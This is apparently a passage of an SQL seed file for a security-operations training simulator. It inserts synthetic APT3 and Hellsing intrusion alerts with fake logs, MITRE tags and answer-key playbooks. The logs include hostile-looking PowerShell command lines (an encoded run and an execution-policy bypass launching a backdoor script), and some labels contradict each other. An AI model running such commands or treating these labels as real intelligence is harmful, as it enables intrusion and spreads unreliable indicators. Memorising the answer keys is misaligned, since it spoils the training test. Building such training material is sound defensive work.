machine.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"external\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with APT3 activity.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"flash_exploit.swf\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"malicious\",\"details\":\"Exploit file used for the attack.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"a94a8fe5ccb19ba61c4c0873d391e987982fbbd3\",\"is_critical\":true,\"osint_result\":{\"source\":\"virustotal\",\"verdict\":\"malicious\",\"details\":\"Hash matched with known exploit used by APT3.\"}},{\"id\":\"artifact_5\",\"type\":\"domain\",\"value\":\"malicious-website.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"osint\",\"verdict\":\"malicious\",\"details\":\"Domain associated with APT3 operations.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'intermediate', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1222, 'Establishing Persistence with Backdoor', 'high', 'System Registry Logs', 'APT3 installs a backdoor on the compromised system by modifying the Windows Registry to ensure persistent access. This involves creating a registry key that launches the backdoor executable during system startup.', 'Persistence', 'T1547.001', 1, 'resolved', NULL, '{\"timestamp\":\"2023-09-15T14:23:51Z\",\"event_id\":4657,\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"192.168.1.105\",\"registry_path\":\"HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\\",\"registry_key\":\"MaliciousBackdoor\",\"file_path\":\"C:\\\\Windows\\\\System32\\\\backdoor.exe\",\"file_hash\":\"a1b2c3d4e5f678901234567890abcdef1234567890abcdef1234567890abcdef\",\"username\":\"compromised_user\",\"action\":\"Registry key modification\",\"description\":\"A registry key was added to enable persistence of the backdoor malware.\"}', '2026-02-07 21:28:52', '2026-02-19 15:51:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP address associated with known APT3 activity.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"a1b2c3d4e5f678901234567890abcdef1234567890abcdef1234567890abcdef\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known backdoor used by APT3.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"C:\\\\Windows\\\\System32\\\\backdoor.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Analysis Service\",\"verdict\":\"malicious\",\"details\":\"File found to be a persistent backdoor.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Database\",\"verdict\":\"internal\",\"details\":\"User account potentially compromised.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-08T19:00:02.550Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-09-15T14:23:51Z\\\",\\\"event_id\\\":4657,\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.105\\\",\\\"registry_path\\\":\\\"HKLM\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\\\\",\\\"registry_key\\\":\\\"MaliciousBackdoor\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\backdoor.exe\\\",\\\"file_hash\\\":\\\"a1b2c3d4e5f678901234567890abcdef1234567890abcdef1234567890abcdef\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"action\\\":\\\"Registry key modification\\\",\\\"description\\\":\\\"A registry key was added to enable persistence of the backdoor malware.\\\"}\"},{\"timestamp\":\"2026-02-08T18:59:02.550Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-09-15T14:23:51Z\\\",\\\"event_id\\\":4657,\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.105\\\",\\\"registry_path\\\":\\\"HKLM\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\\\\",\\\"registry_key\\\":\\\"MaliciousBackdoor\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\backdoor.exe\\\",\\\"file_hash\\\":\\\"a1b2c3d4e5f678901234567890abcdef1234567890abcdef1234567890abcdef\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"action\\\":\\\"Registry key modification\\\",\\\"description\\\":\\\"A registry key was added to enable persistence of the backdoor malware.\\\"}\"},{\"timestamp\":\"2026-02-08T18:58:02.550Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-09-15T14:23:51Z\\\",\\\"event_id\\\":4657,\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.105\\\",\\\"registry_path\\\":\\\"HKLM\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\\\\",\\\"registry_key\\\":\\\"MaliciousBackdoor\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\backdoor.exe\\\",\\\"file_hash\\\":\\\"a1b2c3d4e5f678901234567890abcdef1234567890abcdef1234567890abcdef\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"action\\\":\\\"Registry key modification\\\",\\\"description\\\":\\\"A registry key was added to enable persistence of the backdoor malware.\\\"}\"},{\"timestamp\":\"2026-02-08T18:57:02.550Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-09-15T14:23:51Z\\\",\\\"event_id\\\":4657,\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.105\\\",\\\"registry_path\\\":\\\"HKLM\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\\\\",\\\"registry_key\\\":\\\"MaliciousBackdoor\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\backdoor.exe\\\",\\\"file_hash\\\":\\\"a1b2c3d4e5f678901234567890abcdef1234567890abcdef1234567890abcdef\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"action\\\":\\\"Registry key modification\\\",\\\"description\\\":\\\"A registry key was added to enable persistence of the backdoor malware.\\\"}\"},{\"timestamp\":\"2026-02-08T18:56:02.550Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-09-15T14:23:51Z\\\",\\\"event_id\\\":4657,\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.105\\\",\\\"registry_path\\\":\\\"HKLM\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\\\\",\\\"registry_key\\\":\\\"MaliciousBackdoor\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\backdoor.exe\\\",\\\"file_hash\\\":\\\"a1b2c3d4e5f678901234567890abcdef1234567890abcdef1234567890abcdef\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"action\\\":\\\"Registry key modification\\\",\\\"description\\\":\\\"A registry key was added to enable persistence of the backdoor malware.\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1223, 'Lateral Movement via Stolen Credentials', 'high', 'Active Directory Logs', 'APT3 executed lateral movement by leveraging stolen credentials, accessing critical infrastructure and data repositories.', 'Credential Access', 'T1078 - Valid Accounts', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-12T15:23:45Z\",\"event_id\":\"4624\",\"logon_type\":\"3\",\"logon_account\":\"victim_user\",\"source_ip\":\"192.168.1.45\",\"destination_ip\":\"10.0.0.8\",\"domain\":\"CORP\",\"workstation_name\":\"CORP-WORKSTATION-05\",\"attacker_ip\":\"203.0.113.45\",\"access_granted\":true,\"involved_files\":[{\"filename\":\"critical_data.xlsx\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}],\"related_processes\":[{\"process_name\":\"svchost.exe\",\"process_id\":\"1111\"}]}', '2026-02-07 21:28:52', '2026-02-19 15:50:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address used within the network.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.8\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"IP address of critical internal server.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with APT3 activity.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"critical_data.xlsx\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"suspicious\",\"details\":\"Sensitive file accessed during unauthorized logon.\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"hash_database\",\"verdict\":\"clean\",\"details\":\"File hash corresponds to a known benign file.\"}},{\"id\":\"artifact_6\",\"type\":\"username\",\"value\":\"victim_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"suspicious\",\"details\":\"Username used to access resources illegitimately.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'intermediate', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Identity\",\"evidence\":{\"user\":{\"username\":\"jdoe\",\"display_name\":\"John Doe\",\"department\":\"Finance\",\"manager\":\"Jane Smith\"},\"risk_score\":85,\"recent_activity\":[{\"action\":\"Login Success\",\"ip\":\"10.0.0.5\",\"location\":\"New York, US\",\"time\":\"09:00 AM\"},{\"action\":\"Password Reset Request\",\"ip\":\"192.168.1.5\",\"location\":\"New York, US\",\"time\":\"09:05 AM\"},{\"action\":\"Login Failed\",\"ip\":\"203.0.113.99\",\"location\":\"Moscow, RU\",\"time\":\"02:00 AM\",\"flag\":true}]}}', 0),
(1224, 'Data Exfiltration to Remote Server', 'high', 'Network Traffic Analysis', 'APT3 successfully exfiltrated sensitive data to a remote server under their control. The operation was detected through unusual network traffic patterns and data flow volumes originating from an internal host to an external IP associated with known malicious activity.', 'Exfiltration', 'T1048 - Exfiltration Over Alternative Protocol', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-15T14:32:45Z\",\"source_ip\":\"10.0.1.15\",\"destination_ip\":\"203.0.113.45\",\"protocol\":\"HTTPS\",\"file_name\":\"confidential_data.zip\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"username\":\"jdoe\",\"action\":\"exfiltration\",\"bytes_transferred\":10485760,\"network_context\":{\"internal_network\":\"10.0.0.0/8\",\"external_network\":\"203.0.113.0/24\"},\"alert_id\":\"alert_20231015_0005\"}', '2026-02-07 21:28:52', '2026-02-19 15:50:47', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT3 command and control servers.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Hash Registry\",\"verdict\":\"suspicious\",\"details\":\"Hash corresponds to files often used in data exfiltration campaigns.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"confidential_data.zip\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal File Audit\",\"verdict\":\"suspicious\",\"details\":\"File not typically transferred outside the organization.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Database\",\"verdict\":\"internal\",\"details\":\"User account associated with recent access pattern anomalies.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\",\"escalate\"]}', 'intermediate', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0);

INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1236, 'Execution: Exploit of Vulnerability in Office Software', 'critical', 'Endpoint protection logs', 'Upon opening the malicious attachment, a zero-day vulnerability in Office software is exploited to deploy Hellsing’s custom malware, executing it within Naikon\'s environment.', 'Vulnerability Exploit', 'T1203: Exploitation for Client Execution', 1, 'closed', NULL, '{\"timestamp\":\"2023-10-11T14:23:45Z\",\"event_type\":\"exploit_attempt\",\"user\":\"jdoe\",\"internal_ip\":\"192.168.1.45\",\"external_ip\":\"203.0.113.45\",\"vulnerability_id\":\"CVE-2023-1234\",\"malware_name\":\"Hellsing\",\"malware_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"malicious_attachment\":\"invoice.docx\",\"process\":\"WINWORD.EXE\",\"destination_file\":\"C:\\\\Users\\\\jdoe\\\\AppData\\\\Local\\\\Temp\\\\malicious.dll\",\"action_taken\":\"blocked\",\"alert_id\":\"1234567890\"}', '2026-02-07 21:48:07', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT activity.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash identified as Hellsing malware.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"invoice.docx\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"suspicious\",\"details\":\"File used to exploit vulnerability.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"internal\",\"details\":\"User account involved in the event.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'expert', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1237, 'Persistence: Establishing Backdoor for Continued Access', 'high', 'Endpoint detection and response (EDR) logs', 'A stealthy backdoor was installed on Naikon\'s network by Hellsing to maintain persistent access, enabling ongoing surveillance and data collection. This step is crucial for the threat actor to ensure long-term access to the compromised systems.', 'Backdoor Installation', 'T1059.001 - Command and Scripting Interpreter: PowerShell', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-04T15:23:45Z\",\"event_id\":\"4624\",\"event_type\":\"Process Creation\",\"computer_name\":\"naikon-host01\",\"user\":\"naikon_user\",\"process_name\":\"powershell.exe\",\"command_line\":\"powershell.exe -ExecutionPolicy Bypass -File C:\\\\Users\\\\Public\\\\backdoor.ps1\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.0.15\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"file_name\":\"backdoor.ps1\",\"username\":\"naikon_user\"}', '2026-02-07 21:48:07', '2026-02-19 15:47:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT activity.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal network IP.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash identified as associated with backdoor malware.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"backdoor.ps1\",\"is_critical\":true,\"osint_result\":{\"source\":\"EDR Logs\",\"verdict\":\"suspicious\",\"details\":\"Script file used for backdoor installation.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"naikon_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"internal\",\"details\":\"Legitimate user account accessed.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'expert', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1238, 'Lateral Movement: Credential Dumping and Privilege Escalation', 'critical', 'Active Directory logs', 'Hellsing adversary used dumped credentials to escalate privileges and move laterally within Naikon\'s network. The attacker accessed sensitive systems by leveraging escalated privileges.', 'Credential Dumping', 'T1003 - Credential Dumping', 1, 'closed', NULL, '{\"event_id\":4624,\"timestamp\":\"2023-10-12T14:23:45Z\",\"computer_name\":\"naikon-dc01.corp.naikon.local\",\"source_ip\":\"203.0.113.45\",\"source_port\":52874,\"destination_ip\":\"192.168.1.10\",\"destination_port\":389,\"logon_type\":3,\"logon_process_name\":\"Advapi\",\"authentication_package_name\":\"Negotiate\",\"account_name\":\"admin_user\",\"domain_name\":\"NAIKON\",\"logon_guid\":\"{D0F7F5B7-9C89-4EFD-95CB-3D2E3A4A1B1A}\",\"lm_hash\":\"aad3b435b51404eeaad3b435b51404ee\",\"ntlm_hash\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"file_name\":\"mimikatz.exe\",\"hash\":\"3f786850e387550fdab836ed7e6dc881de23001b\"}', '2026-02-07 21:48:07', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT Database\",\"verdict\":\"malicious\",\"details\":\"IP associated with previous Hellsing APT attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Asset Management\",\"verdict\":\"internal\",\"details\":\"Internal server hosting Active Directory services.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"admin_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"User Directory\",\"verdict\":\"suspicious\",\"details\":\"Credential used for unauthorized access.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"3f786850e387550fdab836ed7e6dc881de23001b\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to known Mimikatz executable.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'expert', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Identity\",\"evidence\":{\"user\":{\"username\":\"jdoe\",\"display_name\":\"John Doe\",\"department\":\"Finance\",\"manager\":\"Jane Smith\"},\"risk_score\":85,\"recent_activity\":[{\"action\":\"Login Success\",\"ip\":\"10.0.0.5\",\"location\":\"New York, US\",\"time\":\"09:00 AM\"},{\"action\":\"Password Reset Request\",\"ip\":\"192.168.1.5\",\"location\":\"New York, US\",\"time\":\"09:05 AM\"},{\"action\":\"Login Failed\",\"ip\":\"203.0.113.99\",\"location\":\"Moscow, RU\",\"time\":\"02:00 AM\",\"flag\":true}]}}', 0),
(1239, 'Exfiltration: Data Transfer to External Server', 'critical', 'Network traffic analysis', 'Hellsing initiates data exfiltration, transferring valuable intelligence from Naikon\'s compromised systems to an external server, completing their espionage mission.', 'Data Exfiltration', 'T1048 - Exfiltration Over Alternative Protocol', 1, 'closed', NULL, '{\"timestamp\":\"2023-10-14T03:47:22Z\",\"source_ip\":\"10.1.2.3\",\"destination_ip\":\"203.0.113.45\",\"protocol\":\"HTTPS\",\"data_volume\":\"150MB\",\"filename\":\"intel_report_2023.zip\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"user\":\"naikon_user\",\"malware\":\"Hellsing\",\"action\":\"File Transfer\",\"status\":\"Completed\"}', '2026-02-07 21:48:07', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.1.2.3\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Source IP from within the compromised network.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Public Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"External IP associated with known malicious activities.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash linked to Hellsing malware.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"intel_report_2023.zip\",\"is_critical\":false,\"osint_result\":{\"source\":\"File Analysis\",\"verdict\":\"suspicious\",\"details\":\"Unusual file transfer detected.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'expert', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1240, 'Suspicious Email Infiltration Detected', 'high', 'Email Gateway Logs', 'A spear-phishing email was detected targeting key personnel within the military sector, aiming to deliver the initial payload of the Yahoyah malware.', 'Phishing Attack', 'T1566.001', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-12T09:15:23Z\",\"email_subject\":\"Urgent: Updated Security Protocols\",\"from_address\":\"malicious.sender@example.com\",\"to_address\":\"j.doe@military.gov\",\"attachment_name\":\"Security_Update_2023.pdf\",\"attachment_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"source_ip\":\"203.0.113.15\",\"destination_ip\":\"192.168.1.10\",\"malware_detected\":\"Yahoyah\",\"alert_id\":\"email-gw-20231012-001\"}', '2026-02-07 21:48:09', '2026-02-19 12:59:44', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"malicious.sender@example.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"Sender associated with multiple phishing campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"External Threat Feed\",\"verdict\":\"malicious\",\"details\":\"IP address linked to known phishing 